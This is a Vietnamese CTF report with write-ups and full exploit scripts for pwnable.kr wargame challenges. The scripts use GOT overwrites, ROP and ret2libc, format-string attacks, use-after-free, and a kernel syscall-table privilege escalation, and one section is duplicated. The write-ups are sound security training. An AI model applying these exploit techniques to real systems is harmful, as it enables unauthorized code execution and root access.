# Báo cáo lần 2 [08/04/2023] ## Giải trên pwnable.kr **Kiến thức mới:** Nếu ta thực thi `ulimit -s unlimited` thì mình hoàn toàn có thể thay đổi địa chỉ stack thành bất kỳ địa chỉ nào và thực thi push sẽ không gây lỗi. Giả sử với đoạn code 32bit sau: ```asm section .text global _start _start: mov esp, 0x87654321 push eax ``` Nếu ta compile với những lệnh sau: ```bash nasm -f elf32 run.asm ld -m elf_i386 -o run run.o ``` Và thực thi: ```bash ulimit -s unlimited ``` Thì khi debug ta sẽ thấy được địa chỉ stack tự động được khởi tạo. Trước khi `push eax`: ![](https://i.imgur.com/NcUZA66.png) Sau khi `push eax`: ![](https://i.imgur.com/PtnDcW1.png) Vào bài thôi nào! ### brain fuck Bài này cơ bản cho ta quyền chỉnh sửa và in ra tùy ý bằng ngôn ngữ Brainfuck: ![](https://i.imgur.com/Ru6ZTr8.png) Sơ lược chức năng: - p: con trỏ - *p: giá trị mà con trỏ đang trỏ tới - (+) hoặc (-): cộng hoặc trừ *p với 1 - (,): cho người dùng nhập 1 byte để thay đổi *p - (.): in ra *p - (\<) hoặc (\>): thay đổi địa chỉ p Sơ lược vùng nhớ: ![](https://i.imgur.com/q3kHCYb.png) Ý tưởng khai thác: 1. Leak địa chỉ libc 2. Overwrite putchar@got thành one_gadget 3. Thực thi putchar() one_gadget có điều kiện sau: ![](https://i.imgur.com/dvbEp67.png) Solve script: ```python #!/usr/bin/python3 from pwn import * exe = ELF('bf_patched', checksec=False) libc = ELF('libc.so.6', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) s = lambda data: p.send(data) if args.LOCAL: p = process(exe.path) else: p = remote('pwnable.kr', 9001) ### Stage 1: Leak libc address ### payload = b'<'*0x3c payload += b'<.'*4 ### Stage 2: Overwrite putchar@got thành one_gadget payload += b'<'*44 payload += b'<,'*4 ### Stage 3: Thực thi putchar() payload += b'>'*0x24 payload += b'.' sla(b'[ ]\n', payload) out = p.recv(1) out += p.recv(1) out += p.recv(1) out += p.recv(1) libc_leak = u32(out[::-1]) libc.address = libc_leak - 0x1b3d60 libc.sym['one_gadget'] = libc.address + 0x5fbd5 info("Libc base: " + hex(libc.address)) s(p32(libc.sym['one_gadget'])[::-1]) p.interactive() ``` ### simple login Bài này nếu ta nhìn vào hàm auth() sẽ thấy ngay lỗi buffer overflow: ![](https://i.imgur.com/RbLVYEl.png) Khi biến input được nhập tới 12 byte nhưng biến v4 lại là 2 byte. Nếu ta nhập full 12 byte thì 4 byte cuối sẽ có thể ghi đè saved ebp: ![](https://i.imgur.com/cyW6c55.png) Đồng thời biến toàn cục input là địa chỉ tĩnh, do đó hướng khai thác là overwrite saved ebp thành địa chỉ input và để địa chỉ hàm correct() trong input để khi chương trình `leave ; ret` 2 lần thì sẽ thực thi được hàm correct() của ta. Solve script: ```python from pwn import * from base64 import b64encode exe = ELF('login', checksec=False) context.binary = exe if args.LOCAL: p = process(exe.path) else: p = remote('pwnable.kr', 9003) payload = p32(exe.sym['correct']+25) + \ b'A'*4 + \ p32(exe.sym['input'] - 4) # Overwrite saved ebp payload = b64encode(payload) p.sendlineafter(b' : ', payload) p.interactive() ``` ### ascii easy Bài này payload của ta phải là chuỗi ascii in được, đồng thời ta có một vùng địa chỉ 0x5555e000 được tạo với các gadget của libc-2.15.so. Do đó việc của ta cần làm là tìm các gadget có địa chỉ là các ký tự ascii để khai thác. Xài ropper sẽ hiển thị tất cả các gadget giúp việc tìm kiếm dễ dàng hơn và dùng grep để lọc toàn bộ địa chỉ trong phạm vi mã ascii: ![](https://i.imgur.com/hhxmU1k.png) Solve script: ```python from pwn import * null_value = 0x556f6161 xor_eax_eax = 0x5555e000+0x000a7230 pop_ecx_add_al_0xa = 0x5555e000+0x00174a51 inc_eax = 0x5555e000+0x000e6263 pop_edx_xor_eax_eax_pop_edi = 0x5555e000+0x00095555 int_0x80 = 0x55667177 payload = flat( b'A'*32, pop_edx_xor_eax_eax_pop_edi, null_value, null_value, pop_ecx_add_al_0xa, null_value, inc_eax, int_0x80, ) payload = payload.ljust(196, b'A') + b'/bin/sh' if args.REMOTE: s = ssh(user='ascii_easy', password='guest', host='pwnable.kr', port=2222) p = s.process(['./ascii_easy', payload]) else: p = process(['./ascii_easy_patched', payload]) p.interactive() ``` ### fsb Có một lỗi duy nhất trong hàm fsb chính là đoạn này: ![](https://i.imgur.com/O933I24.png) Với lỗi format string được thực thi 4 lần, ta có thể leak giá trị của biến key ra. Vì biến buf là biến toàn cục nên ta sẽ cần phải ghi địa chỉ của biến key lên stack thông qua con trỏ stack trước rồi mới leak sau. Solve script: ```python from pwn import * exe = ELF('fsb_patched', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sa = lambda msg, data: p.sendafter(msg, data) s = ssh(user='fsb', password='guest', host='pwnable.kr', port=2222) p = s.process('fsb') ############################################## ### Stage 1: Write address of key to stack ### ############################################## payload = f'%{exe.sym["key"]}c%14$n\0'.encode() sa(b'strings(1)\n', payload) p.recvuntil(b'strings(2)\n') ######################### ### Stage 2: Leak key ### ######################### p.send(b'%20$s\0') key = u32(p.recv(8)[:4]) info("Key: " + hex(key)) #################################### ### Stage 3: Change key to key+4 ### #################################### payload = f'%{ (exe.sym["key"] + 4) & 0xff}c%14$hhn\0'.encode() sa(b'strings(3)\n', payload) ########################################### ### Stage 4: Remove 4 high bytes of key ### ########################################### payload = f'%20$n\0'.encode() sa(b'strings(4)\n', payload) sa(b'key : \n', str(key).encode()) p.interactive() ``` ### dragon Bài này mục tiêu của ta là phải chiến thắng con quái vật trước để thực thi được đoạn code này: ![](https://i.imgur.com/IvMlgTT.png) Đoạn code đó cho phép ta thay đổi địa chỉ của hàm print_func vì sau khi đánh nhau với quái vật xong, chương trình sẽ free con quái vật và người hùng của ta nhưng lại không xóa con trỏ --> Use-After-Free nên con trỏ của con quái vật vẫn tồn tại. Ngoài ra ta cũng có hàm SecretLevel() giúp lấy shell: ![](https://i.imgur.com/RcLSSN9.png) Cơ mà ta sẽ ko đi từ đầu hàm mà ta đi thẳng ngay đoạn code thực thi `system("/bin/sh")` luôn. Solve script: ```python from pwn import * sla = lambda msg, data: p.sendlineafter(msg, data) sl = lambda data: p.sendline(data) p = remote('pwnable.kr', 9004) sl(b'2') sl(b'2') sl(b'1') for i in range(4): sl(b'3') sl(b'3') sl(b'2') payload = p32(0x08048dbf) # Jump to system() in SecretLevel sla(b'You As:', payload) p.interactive() ``` ### fix Bài này là fix shellcode để có thể tạo shell. Vì khi thực thi, ta bị vướng ngay 2 cái `push eax` và `push ebx` và sẽ bị mất chuỗi `/bin/sh` cũng như đoạn shellcode tiếp theo sẽ bị lỗi. Do đó ta sẽ lợi dụng điểm này để thay đổi luôn địa chỉ stack với `pop esp` đảm bảo an toàn. Trước khi chạy ứng dụng, ta chạy lệnh sau: ```bash ulimit -s unlimited ``` Sau đó ta thay đổi lệnh `pop eax` thành `push esp` (byte code là 0x5c) là tạo được shell ![](https://i.imgur.com/HD0AIM3.png) ### syscall Đây là một bài khai thác kernel. Khi đọc source, ta thấy được địa chỉ của bảng syscall là tại `0x8000e348` và vùng địa chỉ này ghi đè được. Do đó ta sẽ có thể ghi đè những địa chỉ của các hàm ứng với các giá trị syscall thành hàm prepare_kernel_cred() (địa chỉ là 0x8003f924) và commit_creds() (địa chỉ là 0x8003f56c) với syscall 223 là lệnh copy. Tuy nhiên địa chỉ của commit_creds() có chứa byte 0x6c là một ký tự in thường nên khi đưa vào sẽ bị chuyển thành 0x4c và sẽ bị sai. Do đó ý tưởng của ta sẽ là ghi đè luôn những lệnh trước hàm commit_creds, chẳng hạn như ghi đè các lệnh bắt đầu từ địa chỉ `0x8003f56c - 0xc` thành các lệnh vô dụng, không gây crash chương trình và mình sẽ truyền vào địa chỉ 0x8003f560 mà không sợ bị lỗi. Solve script: ```c #include <stdio.h> #include <unistd.h> #include <sys/syscall.h> #include <stdlib.h> #define SYS_CALL_TABLE 0x8000e348 unsigned long int commit_creds[] = {0x8003f56c - 0xc, 0}; unsigned long int prepare_kernel_cred[] = {0x8003f924, 0}; char *patch = "\x89\xC0\x89\xC0\x89\xC0\x89\xC0\x89\xC0\x89\xC0"; int main() { char b[0x200] = {0}; unsigned long int i, addr; syscall(223, patch, commit_creds[0]); syscall(223, &prepare_kernel_cred, SYS_CALL_TABLE + 7*4); syscall(223, &commit_creds, SYS_CALL_TABLE + 8*4); i = syscall(7, 0); syscall(8, i); if (getuid() == 0){ printf("[*] UID: %d, got root!\n", getuid()); system("/bin/sh"); } return 0; } ``` Đề chuyển file từ máy lên server, ta có thể convert cái source thành base64 và decode base64 trên server là ta đưa được source lên server. Từ đó ta dùng gcc để build thành file thực thi: ```bash base64 exploit.c echo "result-from-command-`base64 exploit.c`" > test base64 -d test > exploit.c gcc exploit.c -o exploit ./exploit ``` ### simple login Bài này nếu ta nhìn vào hàm auth() sẽ thấy ngay lỗi buffer overflow: ![](https://i.imgur.com/RbLVYEl.png) Khi biến input được nhập tới 12 byte nhưng biến v4 lại là 2 byte. Nếu ta nhập full 12 byte thì 4 byte cuối sẽ có thể ghi đè saved ebp: ![](https://i.imgur.com/cyW6c55.png) Đồng thời biến toàn cục input là địa chỉ tĩnh, do đó hướng khai thác là overwrite saved ebp thành địa chỉ input và để địa chỉ hàm correct() trong input để khi chương trình `leave ; ret` 2 lần thì sẽ thực thi được hàm correct() của ta. Solve script: ```python from pwn import * from base64 import b64encode exe = ELF('login', checksec=False) context.binary = exe if args.LOCAL: p = process(exe.path) else: p = remote('pwnable.kr', 9003) payload = p32(exe.sym['correct']+25) + \ b'A'*4 + \ p32(exe.sym['input'] - 4) # Overwrite saved ebp payload = b64encode(payload) p.sendlineafter(b' : ', payload) p.interactive() ``` ### echo1 Bài này cho ta sẵn hàm có lỗi **buffer overflow** và địa chỉ tĩnh nên ta chỉ việc khai thác với kỹ thuật ret2libc là lấy được shell: ```python from pwn import * exe = ELF('echo1_patched', checksec=False) libc = ELF('./libc6_2.23-0ubuntu11.3_amd64.so', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sl = lambda data: p.sendline(data) if args.LOCAL: p = process(exe.path) else: p = remote('pwnable.kr', 9010) ################################## ### Stage 1: Leak libc address ### ################################## sla(b' : ', b'abcd') sla(b'> ', b'1') payload = flat( b'A'*40, 0x0000000000400b10, b'B'*0x30, exe.got['puts'], exe.plt['puts'], exe.sym['main'], ) sl(payload) p.recvuntil(b'goodbye ') p.recvline() libc_leak = u64(p.recv(6) + b'\0\0') libc.address = libc_leak - libc.sym['puts'] info("Libc leak: " + hex(libc_leak)) info("Libc base: " + hex(libc.address)) ########################## ### Stage 2: Get shell ### ########################## pop_rdi = libc.address + 0x0000000000021112 pop_rsi = libc.address + 0x00000000000202f8 pop_rdx = libc.address + 0x0000000000001b92 ret = pop_rdi + 1 sla(b' : ', b'abcd') sla(b'> ', b'1') payload = flat( b'A'*40, pop_rdi, next(libc.search(b'/bin/sh')), pop_rsi, 0, pop_rdx, 0, libc.sym['system'] ) sl(payload) p.interactive() ``` ### echo2 Bài này ta có lỗi format string trong hàm echo2(): ![](https://i.imgur.com/GbQ8z7s.png) Đồng thời ta cũng có lỗi Use-After-Free trong hàm cleanup(): ![](https://i.imgur.com/1c3Owfy.png) Do đó ý tưởng của ta sẽ là thực hiện format string trước để leak địa chỉ libc. Sau đó ta thực thi cleanup() để free chunk `o` nhưng không xóa con trỏ và sau đó chọn hàm echo3 để malloc với cái địa chỉ heap giống với địa chỉ của chunk `o`. Sau đó ta thực hiện ghi đè địa chỉ của `*(o + 4)` thành one_gadget hoặc system là tạo được shell: ```python from pwn import * exe = ELF('echo2_patched', checksec=False) libc = ELF('libc.so.6', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sl = lambda data: p.sendline(data) if args.LOCAL: p = process(exe.path) else: p = remote('pwnable.kr', 9011) ################################## ### Stage 1: Leak libc address ### ################################## sla(b' : ', b'abcd') sla(b'> ', b'2') p.recvuntil(b'hello abcd\n') p.sendline(b'%19$p') libc_leak = int(p.recvline()[:-1], 16) libc.address = libc_leak - 0x20840 info("Libc leak: " + hex(libc_leak)) info("Libc base: " + hex(libc.address)) ################################################# ### Stage 2: Overwrite *(o+4) into one_gadget ### ################################################# sla(b'> ', b'4') sla(b'(y/n)', b'n') sla(b'> ', b'3') payload = flat( b'A'*0x18, libc.address + 0xf03a4, ) sl(payload) sla(b'> ', b'3') p.interactive() ``` ## Giải WolvCTF 202